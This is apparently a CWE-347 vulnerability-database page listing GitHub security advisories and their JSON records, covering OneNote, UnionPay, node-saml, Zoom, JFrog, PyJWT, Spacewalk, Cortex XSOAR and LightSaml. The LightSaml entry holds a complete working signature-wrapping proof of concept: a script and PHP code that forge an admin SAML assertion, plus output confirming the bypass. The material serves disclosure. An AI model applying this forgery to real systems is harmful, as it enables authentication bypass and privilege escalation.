Common Weakness Enumeration

CWE-347

Allowed

Improper Verification of Cryptographic Signature

Abstraction: Base · Status: Draft

The product does not verify, or incorrectly verifies, the cryptographic signature for data.

1620 vulnerabilities reference this CWE, most recent first.

GHSA-VWJ8-GGFW-43W9

Vulnerability from github – Published: 2024-12-19 00:37 – Updated: 2024-12-19 00:37
VLAI
Details

A library injection vulnerability exists in Microsoft OneNote 16.83 for macOS. A specially crafted library can leverage OneNote's access privileges, leading to a permission bypass. A malicious application could inject a library and start the program to trigger this vulnerability and then make use of the vulnerable application's permissions.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-41159"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-347"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-12-18T23:15:08Z",
    "severity": "HIGH"
  },
  "details": "A library injection vulnerability exists in Microsoft OneNote 16.83 for macOS. A specially crafted library can leverage OneNote\u0027s access privileges, leading to a permission bypass. A malicious application could inject a library and start the program to trigger this vulnerability and then make use of the vulnerable application\u0027s permissions.",
  "id": "GHSA-vwj8-ggfw-43w9",
  "modified": "2024-12-19T00:37:35Z",
  "published": "2024-12-19T00:37:35Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-41159"
    },
    {
      "type": "WEB",
      "url": "https://talosintelligence.com/vulnerability_reports/TALOS-2024-1975"
    },
    {
      "type": "WEB",
      "url": "https://www.talosintelligence.com/vulnerability_reports/TALOS-2024-1975"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-VX7R-7H24-RM89

Vulnerability from github – Published: 2022-05-24 17:46 – Updated: 2022-05-24 17:46
VLAI
Details

Union Pay up to 3.4.93.4.9, for android, contains a CWE-347: Improper Verification of Cryptographic Signature vulnerability, allows attackers to shop for free in merchants' websites and mobile apps, via a crafted authentication code (MAC) which is generated based on a secret key which is NULL.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2020-36284"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-347"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-04-06T16:15:00Z",
    "severity": "HIGH"
  },
  "details": "Union Pay up to 3.4.93.4.9, for android, contains a CWE-347: Improper Verification of Cryptographic Signature vulnerability, allows attackers to shop for free in merchants\u0027 websites and mobile apps, via a crafted authentication code (MAC) which is generated based on a secret key which is NULL.",
  "id": "GHSA-vx7r-7h24-rm89",
  "modified": "2022-05-24T17:46:35Z",
  "published": "2022-05-24T17:46:35Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-36284"
    },
    {
      "type": "WEB",
      "url": "https://www.dropbox.com/s/6smwnbrp0kgsgrc/poc_code.py?dl=0"
    },
    {
      "type": "WEB",
      "url": "https://www.dropbox.com/s/czbkdr73tclq2nr/UnionPay_Vulnerability_Report.txt?dl=0"
    },
    {
      "type": "WEB",
      "url": "http://mobitec.ie.cuhk.edu.hk/cve_2020"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-VX8M-6FHW-PCCW

Vulnerability from github – Published: 2023-08-21 20:13 – Updated: 2023-08-21 20:13
VLAI
Summary
@node-saml/node-saml's validatePostRequestAsync does not include checkTimestampsValidityError
Details

Summary

The lack of checking of current timestamp allows a LogoutRequest XML to be reused multiple times even when the current time is past the NotOnOrAfter.

Details

It was noticed that in the validatePostRequestAsync() flow in saml.js, the current timestamp is never checked. This could present a vulnerability where a user who has an XML LogoutRequest could validated it if the IssueInstance and the NotOnOrAfter are valid along with valid credentials (signature, certificate etc.).

PoC

I was able to validate a sample valid LogoutRequest XML multiple times through postman by sending it to my endpoint regardless if the current present time was past the NotOnOrAfter time. After some further testing, it seems that only the IssueInstance is checked against NotOnOrAfter. Not sure if this was the intended behaviour but I believe having a never expiring valid LogoutRequest could be dangerous.

Impact

This could impact the user where they would be logged out from an expired LogoutRequest. In bigger contexts, if LogoutRequests are sent out in mass to different SPs, this could impact many users on a large scale.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@node-saml/node-saml"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.0.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2023-40178"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-347",
      "CWE-613"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-08-21T20:13:05Z",
    "nvd_published_at": "2023-08-23T21:15:08Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\n\nThe lack of checking of current timestamp allows a LogoutRequest XML to be reused multiple times even when the current time is past the NotOnOrAfter. \n\n### Details\n\nIt was noticed that in the validatePostRequestAsync() flow in saml.js, the current timestamp is never checked. This could present a vulnerability where a user who has an XML LogoutRequest could validated it if the IssueInstance and the NotOnOrAfter are valid along with valid credentials (signature, certificate etc.). \n\n### PoC\n\nI was able to validate a sample valid LogoutRequest XML multiple times through postman by sending it to my endpoint regardless if the current present time was past the NotOnOrAfter time. After some further testing, it seems that only the IssueInstance is checked against NotOnOrAfter. Not sure if this was the intended behaviour but I believe having a never expiring valid LogoutRequest could be dangerous.\n\n### Impact\n\nThis could impact the user where they would be logged out from an expired LogoutRequest. In bigger contexts, if LogoutRequests are sent out in mass to different SPs, this could impact many users on a large scale.\n",
  "id": "GHSA-vx8m-6fhw-pccw",
  "modified": "2023-08-21T20:13:05Z",
  "published": "2023-08-21T20:13:05Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/node-saml/node-saml/security/advisories/GHSA-vx8m-6fhw-pccw"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-40178"
    },
    {
      "type": "WEB",
      "url": "https://github.com/node-saml/node-saml/commit/045e3b9c54211fdb95f96edf363679845b195cec"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/node-saml/node-saml"
    },
    {
      "type": "WEB",
      "url": "https://github.com/node-saml/node-saml/releases/tag/v4.0.5"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "@node-saml/node-saml\u0027s validatePostRequestAsync does not include checkTimestampsValidityError"
}

GHSA-VXMM-5M8G-5P2C

Vulnerability from github – Published: 2023-08-09 00:31 – Updated: 2024-04-04 06:43
VLAI
Details

Improper privilege management in Zoom Desktop Client for Windows and Zoom Rooms for Windows before 5.15.5 may allow an authenticated user to enable an information disclosure via local access.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2023-39211"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-269",
      "CWE-347"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-08-08T22:15:10Z",
    "severity": "HIGH"
  },
  "details": "Improper privilege management in Zoom Desktop Client for Windows and Zoom Rooms for Windows before 5.15.5 may allow an authenticated user to enable an information disclosure via local access.",
  "id": "GHSA-vxmm-5m8g-5p2c",
  "modified": "2024-04-04T06:43:10Z",
  "published": "2023-08-09T00:31:56Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-39211"
    },
    {
      "type": "WEB",
      "url": "https://explore.zoom.us/en/trust/security/security-bulletin"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-W257-36FH-JMR6

Vulnerability from github – Published: 2026-07-27 21:31 – Updated: 2026-07-27 21:31
VLAI
Details

Incorrect authorization validation in refresh token signature allows non-admin users to obtain a signed JFrog administrator token.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-65616"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-347"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-07-27T20:16:40Z",
    "severity": "HIGH"
  },
  "details": "Incorrect authorization validation in refresh token signature allows non-admin users to obtain a signed JFrog administrator token.",
  "id": "GHSA-w257-36fh-jmr6",
  "modified": "2026-07-27T21:31:22Z",
  "published": "2026-07-27T21:31:22Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-65616"
    },
    {
      "type": "WEB",
      "url": "https://docs.jfrog.com/releases/docs/artifactory-self-managed-releases"
    },
    {
      "type": "WEB",
      "url": "https://docs.jfrog.com/releases/docs/jfrog-security-advisories"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-W2CX-738M-MC7W

Vulnerability from github – Published: 2026-09-29 23:16 – Updated: 2026-09-29 23:16
VLAI
Summary
PyJWT accepts public JWK containers as HMAC secrets
Details

Summary

PyJWT 2.13.0 contains an incomplete defense against algorithm confusion when an application mixes symmetric and asymmetric algorithms in one verification path. A public RSA, EC, or OKP JWK can be accepted as an HMAC secret when it is wrapped in a JWKS object, nested in an array, or represented in another container form that does not expose a top-level kty member.

Impact

An attacker who knows the public key material can forge HS256/HS384/HS512 tokens if the application simultaneously:

  • allows both HS* and asymmetric algorithms;
  • passes raw public JWK/JWKS JSON as key=; and
  • uses that same value as the HMAC secret.

This can allow forged JWT claims in affected application configurations. The issue does not affect applications that keep symmetric and asymmetric verification paths separate and follow PyJWT's algorithm-selection guidance.

Fix status

The fix is on master in commit 801cd12 (fix: reject public JWK container HMAC keys). HMACAlgorithm.prepare_key now rejects public JWK members found in objects, arrays, nested containers, BOM/UTF variants, and recursion-limit inputs. It also recognizes escaped JSON member names without treating ordinary string values as JWKs. Ordinary JSON secrets remain accepted byte-for-byte.

The change was tested with focused regression tests and the full local tox matrix. Available Python 3.9, 3.12, and 3.13 crypto/no-crypto suites, mypy, package metadata, and coverage passed; unavailable interpreters were skipped by the project configuration. A fresh independent Astra/max security review accepted the final diff with no blocking findings.

The affected range is = 2.13.0. The fix is on the unreleased development branch; the patched version will be recorded when a released 2.x version containing the fix is available. This advisory is being moved to draft pending that release.

Reporter credit

Credit: Charles Vosburgh / Trilobyte.

Original report

The original report and reproduction package are retained in the private advisory record.

Maintainer update — 2026-09-11

The verified fix for this advisory is included in PyJWT 2.14.0, released on 2026-09-11 and available on PyPI. PyJWT 2.14.0 is the first release containing the fix. This advisory is now published with 2.14.0 recorded as the patched version.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "PyJWT"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.13.0"
            },
            {
              "fixed": "2.14.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "2.13.0"
      ]
    }
  ],
  "aliases": [
    "CVE-2026-102273"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-347"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-29T23:16:55Z",
    "nvd_published_at": "2026-09-28T21:17:15Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\nPyJWT 2.13.0 contains an incomplete defense against algorithm confusion when\nan application mixes symmetric and asymmetric algorithms in one verification\npath. A public RSA, EC, or OKP JWK can be accepted as an HMAC secret when it\nis wrapped in a JWKS object, nested in an array, or represented in another\ncontainer form that does not expose a top-level `kty` member.\n\n### Impact\n\nAn attacker who knows the public key material can forge HS256/HS384/HS512\ntokens if the application simultaneously:\n\n* allows both HS* and asymmetric algorithms;\n* passes raw public JWK/JWKS JSON as `key=`; and\n* uses that same value as the HMAC secret.\n\nThis can allow forged JWT claims in affected application configurations. The\nissue does not affect applications that keep symmetric and asymmetric\nverification paths separate and follow PyJWT\u0027s algorithm-selection guidance.\n\n### Fix status\n\nThe fix is on `master` in commit `801cd12` (`fix: reject public JWK container\nHMAC keys`). `HMACAlgorithm.prepare_key` now rejects public JWK members found in\nobjects, arrays, nested containers, BOM/UTF variants, and recursion-limit\ninputs. It also recognizes escaped JSON member names without treating ordinary\nstring values as JWKs. Ordinary JSON secrets remain accepted byte-for-byte.\n\nThe change was tested with focused regression tests and the full local tox\nmatrix. Available Python 3.9, 3.12, and 3.13 crypto/no-crypto suites, mypy,\npackage metadata, and coverage passed; unavailable interpreters were skipped\nby the project configuration. A fresh independent Astra/max security review\naccepted the final diff with no blocking findings.\n\nThe affected range is `= 2.13.0`. The fix is on the unreleased development\nbranch; the patched version will be recorded when a released 2.x version\ncontaining the fix is available. This advisory is being moved to draft pending\nthat release.\n\n### Reporter credit\n\nCredit: Charles Vosburgh / Trilobyte.\n\n### Original report\n\nThe original report and reproduction package are retained in the private\nadvisory record.\n\n## Maintainer update \u2014 2026-09-11\n\nThe verified fix for this advisory is included in PyJWT 2.14.0, released on 2026-09-11 and available on PyPI. PyJWT 2.14.0 is the first release containing the fix. This advisory is now published with 2.14.0 recorded as the patched version.",
  "id": "GHSA-w2cx-738m-mc7w",
  "modified": "2026-09-29T23:16:55Z",
  "published": "2026-09-29T23:16:55Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/jpadilla/pyjwt/security/advisories/GHSA-w2cx-738m-mc7w"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-102273"
    },
    {
      "type": "WEB",
      "url": "https://github.com/jpadilla/pyjwt/commit/801cd128528c62d9b23fcd161d1a2e1c17982f95"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/jpadilla/pyjwt"
    },
    {
      "type": "WEB",
      "url": "https://github.com/jpadilla/pyjwt/releases/tag/2.14.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "PyJWT accepts public JWK containers as HMAC secrets"
}

GHSA-W2M4-8M7F-6VWV

Vulnerability from github – Published: 2022-05-24 16:49 – Updated: 2023-02-02 18:30
VLAI
Details

It was found that Spacewalk, all versions through 2.8, did not safely compute client token checksums. An attacker with a valid, but expired, authenticated set of headers could move some digits around, artificially extending the session validity without modifying the checksum.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2019-10136"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-347"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2019-07-02T20:15:00Z",
    "severity": "MODERATE"
  },
  "details": "It was found that Spacewalk, all versions through 2.8, did not safely compute client token checksums. An attacker with a valid, but expired, authenticated set of headers could move some digits around, artificially extending the session validity without modifying the checksum.",
  "id": "GHSA-w2m4-8m7f-6vwv",
  "modified": "2023-02-02T18:30:55Z",
  "published": "2022-05-24T16:49:15Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2019-10136"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2019:1661"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/security/cve/CVE-2019-10136"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=1708696"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2019-10136"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/109029"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-W48X-MVPF-JFC3

Vulnerability from github – Published: 2026-04-13 09:31 – Updated: 2026-07-07 18:30
VLAI
Details

An improper verification of cryptographic signature vulnerability exists in Cortex XSOAR and Cortex XSIAM platforms during integration of Microsoft Teams that enables an unauthenticated user to access and modify protected resources.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-0234"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-347"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-04-13T08:16:22Z",
    "severity": "HIGH"
  },
  "details": "An improper verification of cryptographic signature vulnerability exists in Cortex XSOAR and Cortex XSIAM platforms during integration of Microsoft Teams that enables an unauthenticated user to access and modify protected resources.",
  "id": "GHSA-w48x-mvpf-jfc3",
  "modified": "2026-07-07T18:30:26Z",
  "published": "2026-04-13T09:31:33Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-0234"
    },
    {
      "type": "WEB",
      "url": "https://security.paloaltonetworks.com/CVE-2026-0234"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:U/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:N/R:U/V:D/RE:M/U:Red",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-W553-PWX6-3MG9

Vulnerability from github – Published: 2026-11-16 22:08 – Updated: 2026-11-16 22:08
VLAI
Summary
lightsaml allows Signature wrapping bypass
Details

Summary

LightSaml 5.0.0 (latest release; also confirmed on 4.6.1) validates an inbound samlp:Response by collecting its direct-child saml:Assertion elements and validating each one's ds:Signature via robrichards/xmlseclibs. The two layers disagree on which element a signature actually covers: LightSaml reads claims from the assertion node it collected, while xmlseclibs resolves the signed Reference URI="#id" with a document-wide //*[@Id] XPath that returns the first ID-bearing element anywhere in the document.

An attacker who has captured one genuine signed assertion can exploit this to surface attacker-authored, unsigned claims.

Details

Response::deserialize collects assertions with manyElementsFromXml, whose relative XPath saml:Assertion matches only direct children of the Response. Each collected assertion is validated independently by AssertionSignatureValidatorAction against the out-of-band trusted IdP credential (resolved by Issuer entityId, never from the document):

https://github.com/litesaml/lightsaml/blob/5.0.0/src/Model/Protocol/Response.php#L122 https://github.com/litesaml/lightsaml/blob/5.0.0/src/Model/AbstractSamlModel.php#L93 https://github.com/litesaml/lightsaml/blob/5.0.0/src/Action/Assertion/Inbound/AssertionSignatureValidatorAction.php#L28

The check delegates to xmlseclibs XMLSecurityDSig::validateReference(), which first removes the signature node being validated from the shared document (enveloped-signature removal):

if (! $docElem->isSameNode($this->sigNode)) {
    if ($this->sigNode->parentNode != null) {
        $this->sigNode->parentNode->removeChild($this->sigNode);   // strips sig from shared DOM
    }
}

https://github.com/robrichards/xmlseclibs/blob/3.1.5/src/XMLSecurityDSig.php#L596

processRefNode() then resolves URI="#id" document-wide and takes item(0), the first ID-bearing element in the whole document, any name or namespace, not the one inside the signature's own subtree:

$query = '//*['.$iDlist.']';
$dataObject = $xPath->query($query)->item(0);

https://github.com/robrichards/xmlseclibs/blob/3.1.5/src/XMLSecurityDSig.php#L525

So the digest target xmlseclibs picks (//*[@Id] item(0), anywhere) which isn't necessarily the one from the previous phase. LightSaml then reads claims (Subject/NameID, Conditions, Attributes) from the node it collected:

https://github.com/litesaml/lightsaml/blob/5.0.0/src/Model/Assertion/Assertion.php#L288

An example attacker buries the genuine signed bytes (the assertion with its ds:Signature element stripped) inside samlp:Extensions, so it is the first @Id element in document order but not a direct-child assertion. Present one forged direct-child assertion with the same ID, attacker claims, and a verbatim copy of the genuine ds:Signature:

<samlp:Response xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol"
                xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion" ID="_resp" Version="2.0" IssueInstant="2024-01-01T00:00:00Z">
  <saml:Issuer>https://idp.example.com</saml:Issuer>

  <!-- GENUINE signed bytes, buried in Extensions: first @Id document-wide (xmlseclibs picks this),
       but NOT a direct-child assertion (LightSaml ignores it). Signature element removed so the
       enveloped+exc-c14n digest target is the assertion sans Signature. -->
  <samlp:Extensions>
    <saml:Assertion ID="_signed_assertion" Version="2.0" IssueInstant="2024-01-01T00:00:00Z">
      <saml:Issuer>https://idp.example.com</saml:Issuer>
      <saml:Subject><saml:NameID>alice@example.com</saml:NameID></saml:Subject>
      <saml:Conditions NotBefore="2024-01-01T00:00:00Z" NotOnOrAfter="2099-01-01T00:00:00Z"/>
      <saml:AttributeStatement><saml:Attribute Name="role"><saml:AttributeValue>user</saml:AttributeValue></saml:Attribute></saml:AttributeStatement>
    </saml:Assertion>
  </samlp:Extensions>

  <!-- FORGED: the ONLY direct-child assertion LightSaml collects. SAME ID, attacker claims,
       verbatim copy of the genuine ds:Signature. -->
  <saml:Assertion ID="_signed_assertion" Version="2.0" IssueInstant="2024-01-01T00:00:00Z">
    <saml:Issuer>https://idp.example.com</saml:Issuer>
    <ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#"> ...byte-for-byte copy of the genuine signature... </ds:Signature>
    <saml:Subject><saml:NameID>attacker@evil.com</saml:NameID></saml:Subject>
    <saml:Conditions NotBefore="2040-01-01T00:00:00Z" NotOnOrAfter="2041-01-01T00:00:00Z"/>
    <saml:AttributeStatement><saml:Attribute Name="role"><saml:AttributeValue>admin</saml:AttributeValue></saml:Attribute></saml:AttributeStatement>
  </saml:Assertion>
</samlp:Response>

PoC

#!/usr/bin/env bash
set -euo pipefail
WORK="$(mktemp -d)"; trap 'rm -rf "$WORK"' EXIT; cd "$WORK"
IDP_ENTITY="https://idp.example.com"; ASSERTION_ID="_signed_assertion"

composer require litesaml/lightsaml:5.0.0 --no-interaction --quiet

# trusted IdP key + self-signed cert (out-of-band trust anchor)
openssl req -x509 -newkey rsa:2048 -keyout idp_key.pem -out idp_cert.pem -days 3650 -nodes \
  -subj "/CN=idp.example.com" >/dev/null 2>&1

# genuine Response with one to-be-signed assertion
cat > genuine_tmpl.xml <<XML
<samlp:Response xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol"
                xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion"
                ID="_resp" Version="2.0" IssueInstant="2024-01-01T00:00:00Z">
  <saml:Issuer>${IDP_ENTITY}</saml:Issuer>
  <saml:Assertion ID="${ASSERTION_ID}" Version="2.0" IssueInstant="2024-01-01T00:00:00Z">
    <saml:Issuer>${IDP_ENTITY}</saml:Issuer>
    <ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
      <ds:SignedInfo>
        <ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/>
        <ds:SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#rsa-sha256"/>
        <ds:Reference URI="#${ASSERTION_ID}">
          <ds:Transforms>
            <ds:Transform Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature"/>
            <ds:Transform Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/>
          </ds:Transforms>
          <ds:DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256"/>
          <ds:DigestValue></ds:DigestValue>
        </ds:Reference>
      </ds:SignedInfo>
      <ds:SignatureValue></ds:SignatureValue>
    </ds:Signature>
    <saml:Subject><saml:NameID>alice@example.com</saml:NameID></saml:Subject>
    <saml:Conditions NotBefore="2024-01-01T00:00:00Z" NotOnOrAfter="2099-01-01T00:00:00Z"/>
    <saml:AttributeStatement>
      <saml:Attribute Name="role"><saml:AttributeValue>user</saml:AttributeValue></saml:Attribute>
    </saml:AttributeStatement>
  </saml:Assertion>
</samlp:Response>
XML

# REAL signature over the genuine assertion (RSA-SHA256, enveloped + exc-c14n)
xmlsec1 --sign --lax-key-search --privkey-pem idp_key.pem \
  --id-attr:ID "urn:oasis:names:tc:SAML:2.0:assertion:Assertion" \
  --output genuine_signed.xml genuine_tmpl.xml >/dev/null

# TAMPER: bury the genuine bytes (signature stripped) in samlp:Extensions as the first @Id element,
# and make the ONLY direct-child assertion a forged one carrying a verbatim copy of the genuine
# signature + attacker claims.
php -r '
$doc = new DOMDocument(); $doc->load("genuine_signed.xml");
$xp = new DOMXPath($doc);
$xp->registerNamespace("saml","urn:oasis:names:tc:SAML:2.0:assertion");
$xp->registerNamespace("ds","http://www.w3.org/2000/09/xmldsig#");
$resp = $doc->documentElement;
$genuine = $xp->query("//saml:Assertion[@ID=\"_signed_assertion\"]")->item(0);
$copiedSig = $doc->saveXML($xp->query("./ds:Signature", $genuine)->item(0));

// buried = genuine clone WITHOUT its signature (the enveloped+exc-c14n digest target)
$buried = $genuine->cloneNode(true);
$buried->removeChild($xp->query("./ds:Signature", $buried)->item(0));

// forged = copied signature + attacker claims (the only direct-child assertion)
$forged =
  "<saml:Assertion xmlns:saml=\"urn:oasis:names:tc:SAML:2.0:assertion\" ID=\"_signed_assertion\" Version=\"2.0\" IssueInstant=\"2024-01-01T00:00:00Z\">"
  ."<saml:Issuer>https://idp.example.com</saml:Issuer>".$copiedSig
  ."<saml:Subject><saml:NameID>attacker@evil.com</saml:NameID></saml:Subject>"
  ."<saml:Conditions NotBefore=\"2040-01-01T00:00:00Z\" NotOnOrAfter=\"2041-01-01T00:00:00Z\"/>"
  ."<saml:AttributeStatement><saml:Attribute Name=\"role\"><saml:AttributeValue>admin</saml:AttributeValue></saml:Attribute></saml:AttributeStatement>"
  ."</saml:Assertion>";
$frag = $doc->createDocumentFragment(); $frag->appendXML($forged);

// Extensions(buried genuine) replaces the original assertion (first @Id, doc order); forged appended after
$ext = $doc->createElementNS("urn:oasis:names:tc:SAML:2.0:protocol","samlp:Extensions");
$ext->appendChild($buried);
$resp->replaceChild($ext, $genuine);
$resp->appendChild($frag);
file_put_contents("tampered.xml", $doc->saveXML());
'

# SP consumer: LightSaml real per-assertion validation, pinned cert, requireSignature=true
cat > consumer.php <<'PHP'
<?php
require __DIR__ . '/vendor/autoload.php';
use LightSaml\Action\Assertion\Inbound\AssertionSignatureValidatorAction;
use LightSaml\Context\Profile\{AssertionContext, ProfileContext};
use LightSaml\Credential\{UsageType, X509Certificate, X509Credential};
use LightSaml\Context\Model\DeserializationContext;   // moved from Model\Context in 5.0.0
use LightSaml\Model\Protocol\SamlMessage;
use LightSaml\Resolver\Credential\Factory\CredentialResolverFactory;
use LightSaml\Store\Credential\StaticCredentialStore;
use LightSaml\Validator\Model\Signature\SignatureValidator;
use Psr\Log\NullLogger;

[$_, $xmlPath, $certPath, $idpEntityId] = $argv;
$x509 = new X509Certificate(); $x509->loadPem(file_get_contents($certPath));   // pinned trust anchor
$cred = new X509Credential($x509); $cred->setEntityId($idpEntityId); $cred->setUsageType(UsageType::SIGNING);
$store = new StaticCredentialStore(); $store->add($cred);
$validator = new SignatureValidator((new CredentialResolverFactory($store))->build());
$action = new AssertionSignatureValidatorAction(new NullLogger(), $validator, true); // requireSignature=true

$message = SamlMessage::fromXML(file_get_contents($xmlPath), new DeserializationContext());
$profile = new ProfileContext('profile', ProfileContext::ROLE_SP);
$bypass = false;
echo "assertions LightSaml collected: " . count($message->getAllAssertions()) . "\n";
foreach ($message->getAllAssertions() as $i => $a) {
    $nameId = ($a->getSubject() && $a->getSubject()->getNameID()) ? $a->getSubject()->getNameID()->getValue() : '(none)';
    $attrs = [];
    foreach ($a->getAllAttributeStatements() as $s) foreach ($s->getAllAttributes() as $at)
        $attrs[$at->getName()] = implode(',', array_map(fn($v) => (string)$v, $at->getAllAttributeValues()));
    echo "ASSERTION #$i  NameID=$nameId  Attributes=".json_encode($attrs)."\n";
    $ctx = new AssertionContext(); $ctx->setAssertion($a); $ctx->setParent($profile);
    try { $action->execute($ctx); $r = 'ACCEPTED'; } catch (\Throwable $e) { $r = 'REJECTED: '.$e->getMessage(); }
    echo "  LightSaml validation: $r\n";
    if ($r === 'ACCEPTED' && (strpos($nameId,'evil.com') !== false || ($attrs['role'] ?? '') === 'admin')) {
        $bypass = true; echo "  >>> BYPASS: forged assertion validated AND attacker claims surfaced\n";
    }
}
echo $bypass ? "RESULT: BYPASS CONFIRMED\n" : "RESULT: no bypass\n";
exit($bypass ? 0 : 1);
PHP

php consumer.php tampered.xml idp_cert.pem "$IDP_ENTITY"

Observed output:

assertions LightSaml collected: 1
ASSERTION #0  NameID=attacker@evil.com  Attributes={"role":"admin"}
  LightSaml validation: ACCEPTED
  >>> BYPASS: forged assertion validated AND attacker claims surfaced
RESULT: BYPASS CONFIRMED

Impact

Authentication bypass / privilege escalation. An attacker who has captured one genuine signed assertion (e.g. their own prior login response) can have LightSaml accept a single, fully attacker-authored assertion as IdP-signed.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "litesaml/lightsaml"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "5.0.0"
            },
            {
              "fixed": "5.0.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "litesaml/lightsaml"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.0.0"
            },
            {
              "fixed": "4.7.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-63182"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-347"
    ],
    "github_reviewed": true,
